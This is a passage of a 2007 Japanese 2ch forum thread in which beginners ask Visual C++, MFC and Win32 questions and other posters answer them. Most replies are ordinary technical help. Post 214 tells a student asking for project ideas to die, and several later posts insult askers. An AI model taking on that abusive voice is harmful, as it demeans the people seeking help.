213 名前:デフォルトの名無しさん [2007/01/21(日) 21:01:52 ]
プログラムを作れという課題を出されたのですが、どのようなプログラムを作ればいいか全く検討もつきません。

一応、課題の例は出されたのですが、ちょっと無理かなと思いまして・・・

例は、
・駐車場のパーキングシステム
・飛行機の搭乗席を予約するシステム
・マトリックスを計算する電卓
・ブラックジャック
・ポケットゲーム
などです。

この他になにかアイディアはありませんでしょうか。
宜しくお願いします。



214 名前:デフォルトの名無しさん mailto:sage [2007/01/21(日) 21:19:34 ]
>>213
お前死ね
お前が無理ではないと思うプログラム作ったらイイジャマイカ
答え
お前死ね

215 名前:デフォルトの名無しさん mailto:sage [2007/01/22(月) 11:21:38 ]
どのスレで質問していいのかわからないのですが、このスレで失礼します。
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#define N 7
main ()
{
int a[100]={0,5,2,4,6,1,3,7};
int i,x,j;
clock_t ts,te;
double p;
for(i=1; i<=N; i++) a[i]=rand();
ts=clock();
for(i=2; i<=N; i++){
x=a[i]; a[0]=x;
j=i-1;
while(a[j] > x){
a[j+1]=a[j];
j=j-1;
}
a[j+1]=x;
}
te=clock();
p=(double)(te-ts)/CLOCKS_PER_SEC;
for(i=1; i<=N; i++) printf("%d ",a[i]);
printf("\n");
}
という挿入法のプログラムを作り、整列アルゴリズムのデータ個数と処理時間の平均値を用いたのですが、整列手前等で、ある条件下では処理時間が入れ替わることがあるんです。
その理由をお教えください。よろしくお願いします。


216 名前:デフォルトの名無しさん mailto:sage [2007/01/22(月) 11:43:04 ]
どの位変わるのか判らんが、現在のPCとOSで必ず同じ時間になる保証はどこにもないよ。
ましてその程度のコードだと、初回とそれ以降ではキャッシュの乗りが確実に違うだろうし。

217 名前:デフォルトの名無しさん mailto:sage [2007/01/22(月) 18:19:47 ]
レスどうもです。
説明不足でした。すみません。
PCとOSで必ず同じ時間になる保証はどこにもないのは知ってます。
上記のプログラムで、ある条件下では処理時間が入れ替わることがあるという部分(理由)はあるでしょうか?
お教えください。

218 名前:デフォルトの名無しさん mailto:sage [2007/01/22(月) 18:23:30 ]
「入れ替わる」ってどういう意味だ?

まさかとは思うが、CLOCKS_PER_SECの関係でばらつきがでることを問題視したいのだろうか。
例えばCLOCKS_PER_SECが100msなら、110msの処理時間は100msと表示されることも200msと表示されることもあるわけだが。

219 名前:デフォルトの名無しさん mailto:sage [2007/01/22(月) 18:33:56 ]
具体的に書いてくれないとわからんな

220 名前:デフォルトの名無しさん [2007/01/23(火) 04:40:35 ]
若いの オラが村では派遣労働の問題を口にしちゃなんねーだ
お前さんはまだわけぇから言いたいこともあるべぇ
だべな、派遣問題を口にするとムキになって怒る者がおるでよぉ
問題の指摘は駄目だっぺぇ
派遣のことは口にしちゃなんねぇ
この村みたいな民度ゼロの会社で現実忘れるためはよ
北朝鮮と一緒でよ、駄目のものを駄目と言ってはなんねえだべさ
タブーを口にしちゃいけねぇだ


221 名前:お願いします [2007/01/23(火) 23:25:07 ]
プログラムを実行したところ、

LINK : fatal error LNK1249: イメージのベース アドレスが 400000、
サイズが 0x7FFEF000 で、最大範囲を超えています。

というエラーが出るのですが、この最大範囲を大きく変更するには
どうすればいいのですか。

よろしくお願いします。

222 名前:デフォルトの名無しさん mailto:sage [2007/01/23(火) 23:54:14 ]
リンカオプションの/LARGEADDRESSAWAREを試せ。
だめだったら64bit化しろ。

223 名前:デフォルトの名無しさん mailto:sage [2007/01/24(水) 08:05:37 ]
Kitty on your lap
という言葉をよく見かけるのですが、これはUNIX系でいうhoge foo varと
同じような意味なんでしょうか?



224 名前:デフォルトの名無しさん mailto:sage [2007/01/24(水) 08:57:19 ]
同じ質問をどこかで見たな…
とりあえずその文でぐぐってみれ。

225 名前:デフォルトの名無しさん mailto:sage [2007/01/24(水) 12:17:04 ]
なんかのゲームなのでしょうか。
ホームページ作者の趣味なんですね。

226 名前:デフォルトの名無しさん mailto:sage [2007/01/24(水) 16:14:01 ]
よく見かけませんよ

227 名前:デフォルトの名無しさん mailto:sage [2007/01/24(水) 18:27:38 ]
キティちゃんをあなたのサランラップで包んでください

228 名前:デフォルトの名無しさん mailto:sage [2007/01/24(水) 19:32:57 ]
すいません、教えてください。
VC6.0で作ったプロジェクトを2005に移行することになりました。
型変換や標準関数の変更でガンガンエラーはでるものの、なんとか修正してきましたが、
COMのインターフェースの定義で、oledb.hに書かれているものと同じ名前の
インターフェースを使用していたのですが、2005に移行したらインターフェース名を
変更しないと使用できなくなりました。
名前を変更すればビルドはできるものの、今まで使えていただけに2005でも
何かすれば使えるのではないかと思っています。
どうにかヒントでも頂ければ幸いです。

229 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 02:04:48 ]
WindowsXP,VC2005です。
ユーザーにコマンドライン引数を決めさせたいとき
どのようにすればいいでしょうか?
下のようにするとハングしてしまいます。

#include <iostream>
 using namespace std;

int main(void)
{
char str[100];
char str2;

cout << "引数を入力してください"<<endl;
cin >> str2;
sprintf(str,"test.exe %s",str2);
system(str);
return 0;
}

230 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 02:26:42 ]
>>229
>下のようにするとハングしてしまいます。
str2はcharなのに書式指定子に%sを使っているから。

231 名前:229 mailto:sage [2007/01/26(金) 02:39:56 ]
ありがとうございます。
とりあえず
char str2[64];
としたところ正常に動きました。

232 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 08:36:19 ]
ラジオボタンを2つ用意して、片方をチェックしたらもう片方の
チェックするようにするには、GroupBoxを使うと教えられました。
radioButtonMen,radioButtonWomenの2つのラジオボタンをグループボックスの
上に配置した時に生成されたコードの一部分が↓です。

どのメンバ変数を見れば、どちらをチェックしたかというのがわかるの
でしょうか?


//
// groupBox1
//
this->groupBox1->Controls->Add(this->radioButtonMen);
this->groupBox1->Controls->Add(this->radioButtonWomen);
this->groupBox1->Location = System::Drawing::Point(197, 194);
this->groupBox1->Name = L"groupBox1";
this->groupBox1->Size = System::Drawing::Size(200, 45);
this->groupBox1->TabIndex = 24;
this->groupBox1->TabStop = false;
this->groupBox1->Text = L"groupBox1";

this->groupBox1->ResumeLayout(false);
this->groupBox1->PerformLayout();


233 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 18:22:23 ]
C++/CLIで、プログラミングを始めたばかりです。
(VS C++2005の環境)
フォームにボタンやテキストボックスを配置してビルドすると、
ソースが勝手に追加/削除されたり編集されたりします。
その更新されていくソース・プログラムを見ていて思ったんですけど、
Visual C++でWindowsプログラミングをする場合、
通常プログラマは、
クラスの関連(継承とか)をあまり意識しないんでしょうか?

メンバ変数を用意することってあまりないでしょうか?

あと、普通のC++のコンテナ(vectorやlist)は使用されませんか?



234 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 18:27:34 ]
別に普通に使ってるだろ。
VC++の操作がわかんなかったら手書きでもいいし

235 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 19:14:23 ]
VC8ではコンパイルする時にDebugモードとReleaseモードの選択が出来たのですが
VC6では出来ないのでしょうか?
Debugモードしか見当たりません・・・・・


236 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 19:24:43 ]
少しは調べてから質問しよう

237 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 21:12:11 ]
>>236
>>235ですが
「Vc6 Release」で検索しても分からなかったんですが


238 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 21:16:12 ]
ツールバーのあたりで右クリックして「ビルド」をチェックで出るよ

239 名前:デフォルトの名無しさん mailto:sage [2007/01/26(金) 21:19:25 ]
MSDNに書いてないわけがない

240 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 00:35:43 ]
Inside Windows買っとけ

241 名前:デフォルトの名無しさん [2007/01/27(土) 02:41:48 ]
将棋プログラムを作っています。
すべての種類の駒が描かれている1枚のビットマップから
一部を切り出して(読み込んで)オブジェクトにするには
どうしたらいいでしょうか?
一つずつ別ファイルを用意しないとだめ?

242 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 07:26:34 ]
>>238
ありがとう


243 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:30:33 ]
VS2005 MFCシングルベースで、

CDC *pDC = GetDC();
AfxBeginThread(ここがわからない);

とメインの中に記述して、マルチスレッドでfunを使って、
funの中でpDCを↓のように使いたいのですが、どうすればいいでしょうか。

void fun(){
  pDC->TextOutW(10,10,_T("aaa"));
}



244 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:33:03 ]
MFCオブジェクトをスレッド間で受け渡してはいけない

245 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:44:20 ]
>>244
そうなんですか・・・。
では、マルチスレッドのfunの中でpDCを使いたい場合はどうすればよろいのでしょうか。

246 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:49:29 ]
馬鹿登場

247 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 13:58:14 ]
>>245
ハンドル渡せば。
でもいろいろ面倒だから、描画関係はそのウィンドウが属するスレッドでやって
描画に関係ない処理を別スレッドでやる方がいいと思うけど。

248 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 14:16:57 ]
キチガイにスレッド

249 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 14:50:03 ]
>>244

なんで?
MSDNのサンプルでもMFCオブジェクトのポインタ渡してるよ。
まーpDCを渡すのはやばいけどね。

250 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 16:36:24 ]
>>249
ハンドル-オブジェクトのテーブルがスレッド固有とかいろいろ。
詳しくはこの辺
ttps://msdn.microsoft.com/library/default.asp?url=/library/en-us/vccore/html/_core_multithreading.3a_.programming_tips.asp

251 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 17:37:52 ]
>>250
注意点や、危険性とその回避方は書いてあるが >>244 のようなことは書いてないぞ。
非MFCスレッドでは出来ないと書いてあるけど。

252 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 17:45:10 ]
>>251
>As a general rule, a thread can access only MFC objects that it created.

253 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 17:50:29 ]
それは明らかにWindows Handle Mapsの説明でしょ。



254 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 17:54:52 ]
>>253
>This is because temporary and permanent Windows handle maps are kept in thread local storage to ensure protection from simultaneous access from multiple threads.
HDC等もハンドルマップを持ってるから、同様な問題があるよ。

255 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 18:05:32 ]
>>253
Windows Handle -> HANDLE, HWND, HDC, SOCKET…
Window Handle -> HWND

256 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 18:10:37 ]
いや、そういうのは分かってるよ...

257 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 18:30:41 ]
そもそも、別のスレッドから描画をする必要があるか、考え直したほうが良いな。

258 名前:243 mailto:sage [2007/01/27(土) 19:11:33 ]
1秒ごとに1文字づつTextOutWで文字を表示していくプログラムを作るつもりなんです。

for(i=0;i<10;i++){
  pDC->TextOutW(0,0,_T("aaa"));
  Sleep(1000);
}

で、それを処理させながら他の処理ができるようにしたいのです。
こんな安易な考え方からスレッドを使おうとすることが間違いなのでしょうか。
OnTimerを使う方法以外で何かよい方法がありましたら是非教えてください。
それとも、やはりOnTimerを使うしかないのでしょうか。

259 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 19:13:56 ]
タイマー使うのが一番簡単な方法だと思うが

260 名前:243 mailto:sage [2007/01/27(土) 19:15:21 ]
>>259
了解しました。 ご回答ありがとうございました。

261 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 19:29:47 ]
キチガイにふりまわされて真面目にレスしてたやつかわいそう

262 名前:デフォルトの名無しさん mailto:sage [2007/01/27(土) 19:33:48 ]
キチガイにスレッド

263 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 01:17:06 ]
縦横のサイズを500で、ピクチャボックスの中には線が描かれており、、それを1600まで拡大して、
そのピクチャボックスの中の線の色を変更したり、線を書き足したりして、
書いたものを崩さずに任意のサイズまで縮小したんですけど、どうしたらいいのでしょうか?

できれば、500から1600に拡大して線を描くまでの過程を裏で処理できるようにしたいんですけど、
できるでしょうか?



264 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 08:40:51 ]
BYTE byte[4] = {0XFF,0XFF,0XC1,0XC1};
DWORD dword;
でbyte⇔dword間で変換をしたいのですが
byte[0]から見て行って変換するしかないのでしょうか?


265 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 08:43:29 ]
dword = *(DWORD *)byte

ただしエンディアンに注意

266 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 09:37:14 ]
ワンリトルツーリトルスリーリトルエンディアン

267 名前:デフォルトの名無しさん mailto:sage [2007/01/31(水) 12:15:09 ]
エンディアン嘘付かない

268 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 00:43:04 ]
>265-267

ありがと。リトルエンディアンになることに気をつける

269 名前:デフォルトの名無しさん [2007/02/01(木) 05:09:18 ]
【環境】
WinXP HomeEdition
Visual C++ 2005 Express Edition

『ねこでもわかるWindowsプログラミング』で勉強を始めたんですが
本に書いてある通りのプロジェクトの作成ができません。

テンプレートに「Win32 プロジェクトがありません」
アプリケーションウィザードで「Windowsアプリケーション」を選択できません。
ビルドしてもwindows.hが無いとエラーが出ます。

そもそもWindowsアプリケーションが作れないようになっていると感じるのですが
ExpressEditionではこれらの操作はできないのでしょうか?

270 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 05:18:46 ]
>>269
ExpressEditionではPlatformSDK入れたら使えるみたい

271 名前:デフォルトの名無しさん [2007/02/01(木) 07:46:13 ]
いま、「スタンダードVC++」を買おうかなと思ってるんですが、本のなかの開発環境が.NETなんですが、覚えたことは2005でも使えますか?

272 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 08:27:51 ]
>>271
使えるよ

猫でも級に内容が豊富で、EEでも一発でコンパイルが通るサイトがそろそろ欲しいな
でも俺が作ったら、どうしてもIDE関連やプロジェクトの設定で長々と語ってしまって、先に進めないんだよなー



273 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 08:56:49 ]
無料だからやりはじめた初心者と
いままでVCやってた人のギャップが激しすぎる。
C#でもやってりゃいんだよ



274 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 08:59:09 ]
シャープに決めるぜ

275 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 09:53:14 ]
FindFirstFileで探したファイルをifstreamでファイルを開きたいんですけど、
どうしたらいいんでしょうか?

276 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 10:50:58 ]
FindFirstFileでファイル名取れるだろ

277 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 10:53:45 ]
msdn.microsoft.com/library/ja/jpfileio/html/_win32_findfirstfile.asp?frame=true
FindFirstFile サンプル付

278 名前:275 mailto:sage [2007/02/01(木) 13:42:01 ]
WIN32_FIND_DATA lp;
char pass[500] = "C:\\Documents and Settings\\abcde\\デスクトップ\\program\\適当\\DATA\\abc.txt";
HANDLE h = ::FindFirstFile(pass, &lp);
if(h != INVALID_HANDLE_VALUE){
ifstream in(lp.cFileName)
if(in){
m_list.InsertString(-1, lp.cFileName);
}

というふうにしたんですけど、ファイルの名前は取れるんですけど、
ファイルが開きません。
どこがまちがってるんでしょうか?

279 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 14:48:31 ]
>>278
lp.cFileNameにどういうファイル名が取れてるか調べればわかるだろう

280 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 14:56:19 ]
あっ できました!
ありがとうございました!

281 名前:デフォルトの名無しさん [2007/02/01(木) 15:03:28 ]
VC++7.0 MFCでメインウインドウを閉じたときに
全ての後処理開放処理の時間がかかるときがあるアプリケーションが
あると思います。そこで終了処理をある程度表示させて確認したいのですが

なにか良い方法はありますか?

282 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 15:14:44 ]
どうだろ、、、WM_CLOSEとかDESTROYあたりでイベント作って
そのイベントとメッセージをWaitForMultipleObjectsで待ちつつメッセージループ作って
イベントがシグナルになったら閉じる処理の続きとかどうだろう

283 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 16:26:15 ]
>>281
スプラッシュウィンドウ



284 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 17:58:31 ]
スプラッシュマウンテン

285 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 18:10:28 ]
スプラッシュムービー

286 名前:デフォルトの名無しさん mailto:sage [2007/02/01(木) 22:14:03 ]
VC++.NET2003 Windowsフォームを使用して開発しています。

1画面でかなり多くの数のコントロールを貼り付けているのですが、
デザイン画面を開くとき重くて時間が掛かっています。
また、Releaceでコンパイルしようとすると30分掛かっても終わりません。。
解決策はあるのでしょうか。

1画面で多くのコントロールを表示する理由は、
画面を切り替えずに複数の画面(?)を表示させるという仕様になっているからです。
今はパネルでコンテナ化し、各画面を出したい時にパネルの表示・非表示を
切り替えているのですが、正直限界です。

良い方法があればぜひ教えて下さい。

287 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 08:05:43 ]
メモリを増やす

288 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 08:16:12 ]
お母さんに相談する。

289 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 08:49:20 ]
メモリは1ギガなんですけど・・・
それでも足りないとなると、他の人に委託しずらい等、
色々支障が出てくると思います。
それに、2ギガに増やして早さが倍になっても、
やっぱり遅い気がします。。

290 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 09:16:16 ]
それはメモリの問題ではなくてCPUが余りにも余りにもなんではないだろうか。

291 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 10:23:42 ]
でも1GBと2GBでは段違いの差が出る

292 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 10:49:16 ]
数ヶ月前に購入したマシンなので、環境を変える事はできないです。
そこまで最新のマシンでなければ動かせないのは
やはりおかしいと思うんです。

画面を分け、あたかも1つの画面で動くように見せるという方法がありましたので、
それでやってみたいと思います。
ありがとうございました。

293 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 11:47:33 ]
コントロール並べすぎなのがわるいと気づけ



294 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 12:31:10 ]
それはもちろん分かってました。
だから、それ以外の方法があれば教えて欲しいと思い、
相談させてもらったのですが、、、。

295 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 12:40:13 ]
コントロールが問題になるほど多数あるということは、それらの配置には規則性があるはずだ。
だとすれば、ポトペタせずに自前で生成すればいい。

296 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 19:54:33 ]
うーん。
規則は、ある部分もあるのですが、
画面10枚分ぐらいのコントロールを1つのフォームで配置してるので
自分で書くのはちょっとしんどいですね。。
変わる可能性大ですし。

結局、ユーザーコントロールを画面分用意してやる事にしました。

297 名前:デフォルトの名無しさん mailto:sage [2007/02/02(金) 23:51:25 ]
……多いと思った段階で分けようって思わないもんかね。

298 名前:デフォルトの名無しさん [2007/02/03(土) 00:14:14 ]
MFC,SDIでCEditViewを使ってファイルから読み込んだ結果を
エディットボックスに表示しようと考えています。

表示の仕方は下記です。
void CtestView::setEditBox(char *str){
CEdit &edit = GetDitCtrl();
edit.SetWindowText(str); }

ファイルを読み込んで処理した結果をstrに入れるという感じです。
メニューのファイルオープンから読み込んだ場合は下記の
処理でいけるんですが・・・

CtestView *pView = ((CtestView*)(((CFrameWnd*)(AfxGetApp()->m_pMainWnd))->GetActiveView()));
pView->setEditBox(str);

実行ファイルにファイルをドロップして起動させた場合、
ドキュメントの
BOOL CtestDoc::OnOpenDocument(LPCTSTR lpszPathName)
に入るようですが、ここから上記のsetEditBox()を呼び出してもエラーに
なります。
原因は起動時でまだViewが出来ていないことであることは分かっているのですが、
どのタイミングで呼び出せばよいのか分かりません。

どうすればよいのでしょうか?

299 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 00:51:59 ]
>>298
新しいドキュメントを開いたあとは必ず
void CtestView::OnInitialUpdate()
が呼び出されるので、そこで
setEditBox(GetDocument()->GetYourString());

300 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 06:22:59 ]
ファイル読んで表示が終わってからもう一回表示しなおし?
読むときに処理すればいいのでは?

301 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 07:40:52 ]
>>299
今環境がないので試せないですが、そのタイミングでは必ず
ビューが作成されているんですか?

>>300
読むときに処理すればいいんですが、アイコンにドロップして
起動させた場合はタイミングによってビューが作成されていないので
エラーになるんです。

302 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 07:44:51 ]
表示しなおしじゃなく、299をやった上で

> CtestView *pView = ((CtestView*)(((CFrameWnd*)(AfxGetApp()->m_pMainWnd))->GetActiveView()));
> pView->setEditBox(str);

は当然削除だろ。個人的にはCtestDocにCtestView.hをincludeするのは、やってはいけない事だと思う。

303 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 07:48:31 ]
>>301
ドキュメントを読んだあとにビューを更新するために用意されているメソッドだし
当然ビューは存在してるよ。



304 名前:298 mailto:sage [2007/02/03(土) 08:20:28 ]
>>303
分かりました。
ありがとうございます。

305 名前:デフォルトの名無しさん [2007/02/03(土) 09:14:25 ]
>>272ありがとん

306 名前:デフォルトの名無しさん [2007/02/03(土) 09:54:09 ]
>>270
ありがとうございます。

せっかく教えて頂いたのにアレなんですが、インストールしようとしたところ
ちょっとCドライブの空きが足りなかったのでしばらくは秀丸とbccでやってみます。

307 名前:いーぶいしー [2007/02/03(土) 16:42:45 ]
クライアント(.exe)から
自分で作成したDLLに定義されているClassのpubicなメンバ変数に、アクセスしたい場合、
そのメンバ変数が構造体だと、その構造体の定義はクライアント側にも必要なのでしょうか?
定義を一箇所(DLL側のみ)にはできないのでしょうか?

308 名前:デフォルトの名無しさん mailto:sage [2007/02/03(土) 16:49:16 ]
>>307
もちろん必要、共通でinlcudeする*.hファイルに定義しておく。

C++/CLIのrefクラス、ref構造体は例外だけど

309 名前:デフォルトの名無しさん [2007/02/04(日) 01:12:51 ]
二色刷りで動物の絵が表紙にデカデカと書いてある本を探しているのですが、
何方かこの本の題名を知らないでしょうか?
なんでも辞書みたいな感じの本で延々とコードが書いてあるらしいのですが。

あとみなさんはどのような本で勉強していますか?
ちなみに僕は学校の授業でやったもののほぼ未経験です。

310 名前:デフォルトの名無しさん mailto:sage [2007/02/04(日) 01:52:01 ]
> 動物の絵が表紙にデカデカと書いてある本
沢山あるぞ。好きなのを選ぶが良い。
ttp://www.oreilly.co.jp/index.shtml

> どのような本
一冊で完結なんて出来ないんだから
自分の目的にあった本を
(良い意味で)適当に買いつづけていけばいいと思うよ。

↓参考
推薦図書/必読書のためのスレッド PART33
pc10.2ch.net/test/read.cgi/tech/1167140188/l50


311 名前:デフォルトの名無しさん mailto:sage [2007/02/04(日) 18:14:46 ]
すいません。御存知の方がいたら教えてください。
環境:Windows XP,VC++6.0 「_MBCS」指定
Windowsのアプリを作っているのですが、リストビューの部分のみにUnicode文字のデータを表示
させたいので以下のようにリストビューの部分のみワイド文字仕様の構造体を使用しています。
リストビュー設定部のソース
static HWND hList;
LV_COLUMNW lvcol;LV_ITEMW item;
InitCommonControls();
hList = CreateWindowExW(0,WC_LISTVIEWW, L"",WS_CHILD | WS_VISIBLE | LVS_REPORT,
0, 0, 300, 200,hWnd,(HMENU)ID_LISTVIEW,hInst,NULL);
lvcol.mask = LVCF_FMT | LVCF_WIDTH | LVCF_TEXT | LVCF_SUBITEM;
lvcol.fmt = LVCFMT_LEFT; lvcol.cx = 100;
lvcol.pszText = L"項目1"; lvcol.iSubItem = 0;
ListView_InsertColumn(hList, 0, &lvcol);

item.mask = LVIF_TEXT; item.pszText = L"内容1";
item.iItem = 0;item.iSubItem = 0;
ListView_InsertItem(hList, &item);
これで実行すると、リストビュー部に表示される文字が全て16進で表示されてしまいます。
正常に「項目1」,「内容1」で表示させる方法は、無いのでしょうか?
ListView_InsertColumnの部分のヘッダファイルを見ると
#define ListView_InsertColumn(hwnd, iCol, pcol) \
(int)SNDMSG((hwnd), LVM_INSERTCOLUMN, (WPARAM)(int)(iCol), (LPARAM)(const LV_COLUMN FAR*)(pcol))
となっているから無理なのかな?よろしくお願いします。


312 名前:デフォルトの名無しさん mailto:sage [2007/02/04(日) 18:39:30 ]
>>311
とりあえずListView_InsertColumn中のSNDMSGがSendMessageAになってる。
LVM_INSERTCOLUMNもAつきのほうだし。
マクロは全滅なきがする。

313 名前:311 mailto:sage [2007/02/04(日) 21:09:25 ]
>>312
ありがとう。
やっぱプロジェクト自体をUnicode仕様にするしかないのかな?
>マクロは全滅なきがする。
マクロ以外で実現する方法ってあるの?




314 名前:311 mailto:sage [2007/02/04(日) 21:25:03 ]
とりあえず以下のように自分でマクロを作ってみたらうまく表示できた。
#define ListView_InsertColumn_W(hwnd, iCol, pcol) \
(int)SendMessageW((hwnd), LVM_INSERTCOLUMNW, (WPARAM)(int)(iCol), (LPARAM)(const LV_COLUMNW FAR*)(pcol))
これだけで問題ないんだろうか?


315 名前:デフォルトの名無しさん mailto:sage [2007/02/04(日) 21:38:50 ]
>>311-312
SNDMSGは単にSendMessageとして定義されているから、
当然プログラム全体をUNICODE化すればマクロがそのまま使えるんだ。

逆に言えばSendMessageがSendMessageWになりさえすればいいわけだから、
UNICODEとしてマクロを使いたい部分の前にこれ、
#pragma push_macro("SendMessage")
#undef SendMessage
#define SendMessage SendMessageW
後に#pragma pop_macro("SendMessage")を置けばいけると思う。
push_macro/pop_macroがVC6でも使えるかどうかは知らないけど。

316 名前:311 mailto:sage [2007/02/04(日) 22:00:59 ]
>>315
ありがとう。
#pragma push_macro("SendMessage")
#undef SendMessage
#define SendMessage SendMessageW
InitCommonControls();


item.mask = LVIF_TEXT; item.pszText = L"内容1";
item.iItem = 0;item.iSubItem = 0;
ListView_InsertItem(hList, &item);
#pragma pop_macro("SendMessage")
上記のように修正してみたが、コンパイルは通ったが、表示結果は16進のままだった。
VC++6.0では、push_macro/pop_macroが使えないのかもしれない。
>>314に書いた方法でやってみます。
ありがとう。


317 名前:298 [2007/02/06(火) 07:43:06 ]
OnInitialUpdate() で実行することが出来ました。
もう一つ教えてください。
エディットボックスなどのコントロールの初期化処理を
したいのですが、どのタイミングでやればいいんでしょうか?

WM_CREATEではまだコントロールが作成されていません。
OnInitialUpdate() では問題ないのですが、最初の一度だけと
いう訳にはいきません。

static BOOL flag;
を使ってifで判定して最初だけ実行すれば出来たのですが、
もっとスマートな方法はありますでしょうか?

318 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 08:54:09 ]
OnInitialUpdateは最初の一度という意味

319 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 10:39:28 ]
>>317
Documentが変わってもView内のコントロールの位置やサイズが変わらない
タイプのアプリの場合は、自分もOnInitialUpdateでstaticなフラグ使って
一回だけやってる。特に問題ないと思うけど。

これ以上はアプリ形態と初期化内容が判らない限り何ともいえない。

320 名前:デフォルトの名無しさん [2007/02/06(火) 16:24:36 ]
ヘッダファイルに変数を追加するだけで
アプリケーション起動時にOSがエラーを出してくることがあります
もう一つ二つ意味のない変数を追加すれば治ることもあるのですが
これはどうしてなのですか?変数追加だけなので
プログラムの中で使ってもいません名前も被っていないです
どんな変数でもこの症状が起こるときは起こります

321 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 16:28:09 ]
領域外アクセスとかのバグが変数追加で表面化したんだろ

322 名前:デフォルトの名無しさん [2007/02/06(火) 16:29:38 ]
つまり他の変数になにか問題があるということですか?

323 名前:デフォルトの名無しさん [2007/02/06(火) 16:41:35 ]
Runtime Error!
Program:_xxxxxxxxxxx ←exeの場所
abnormal program termination

こんな感じで表示されます
今回は他の変数を追加しても直りません
助けてください。アクセス外ということは文字列かなにか
静的に領域をとってる配列等が原因なのでしょうか?



324 名前:デフォルトの名無しさん [2007/02/06(火) 16:48:23 ]
文字列20文字もいらない文字の領域を200にしたらいけました
うーん無駄に領域を確保すれば直るなんて謎だ

325 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 16:54:18 ]
謎っつーか、メモリの管理がすげー甘いんじゃなかろうか
一度きっちり調べ直してみることをお薦めする

326 名前:デフォルトの名無しさん [2007/02/06(火) 17:14:52 ]
すいません独学なんですがメモリ管理では
全てのメンバ変数にdeleteをしたほうがいいのでしょうか?

327 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:19:11 ]
newしたものにはdelete、new[]したものにはdelete[]。
逆にnewしていないものにdeleteは要らない。

ただし可能な限り、std::vectorなどnew[]/delete[]を隠匿したものを使ったり、
boost::shared_ptr/arrayやboost::scoped_ptr/array、std::auto_ptrなど、
せめてdelete/delete[]だけでも隠匿して使うようにすべき。

328 名前:デフォルトの名無しさん [2007/02/06(火) 17:22:56 ]
文字列などは配列で静的に確保しないほうがいいのでしょうか?
newで動的確保するべきなのですか?

329 名前:デフォルトの名無しさん mailto:sage [2007/02/06(火) 17:26:58 ]
大量にバッファを必要とするのならともかく、
そうでないのなら静的確保で十分

330 名前:デフォルトの名無しさん [2007/02/06(火) 17:30:17 ]
私はその他のオブジェクトもnewで動的確保はしていませんでしたので
deleteを使うところが見当たりません
原因は全て静的にしているせいなのでしょうか?

331 名前:デフォルトの名無しさん [2007/02/06(火) 17:36:36 ]
いまだにdllの仕組みが理解できません。
猫でものホームページ見ながら作ってみたんですが
dllを作った時のヘッダを含めて
かつその時出来たlibファイルを
#pragma comment(lib,"〜.lib)
か、リンカの設定でリンクしないと使えないのは
libを通してやらないと、dll内の関数を呼び出すことは出来ないと
いう事なんでしょうか。
